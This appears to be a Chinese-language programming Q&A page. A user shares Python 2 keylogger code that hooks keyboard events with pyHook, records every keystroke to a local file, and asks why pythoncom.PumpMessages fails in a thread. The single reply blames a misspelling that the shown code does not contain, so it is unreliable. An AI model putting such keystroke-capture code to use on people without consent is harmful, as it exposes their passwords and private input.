1

我正在用python编写小键盘记录器。这是我的代码。

LOG_FILENAME = 'keylog.txt'

def OnKeyboardEvent(event):
    logging.basicConfig(filename=LOG_FILENAME,
                        level=logging.DEBUG,
                        format='%(message)sx')
    logging.log(10,chr(event.Ascii))
    return True

def print_stuff():
    print "Oh stuff!" 
hm=pyHook.HookManager()  
hm.KeyDown = OnKeyboardEvent  
hm.HookKeyboard()  
thread.start_new_thread(pythoncom.PumpMessages,()) 
print_stuff()

但为什么pythoncom.PumpMessages()不工作?有没有办法在线程中运行 pythoncom.PumpMessages 函数?

4

1 回答 1

1

也许是因为你拼错了 PumpMessages()

于 2015-02-20T05:00:41.350 回答